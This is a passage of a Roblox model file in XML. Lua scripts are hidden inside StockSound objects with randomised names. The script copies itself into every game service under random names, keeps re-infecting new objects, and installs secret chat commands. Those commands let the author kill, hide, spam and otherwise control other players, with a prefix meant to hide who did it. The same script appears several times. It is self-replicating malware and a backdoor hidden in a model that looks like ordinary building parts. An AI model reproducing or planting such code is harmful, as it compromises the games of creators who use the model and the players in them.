plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX587">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX588">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-174</X>
						<Y>58.7999992</Y>
						<Z>-12.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>78</X>
						<Y>116.400002</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX589">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">06oo6lnu</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX590">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">0000fh</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX591">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX592">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">zgndm0v</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX593">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">c5ji5a</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
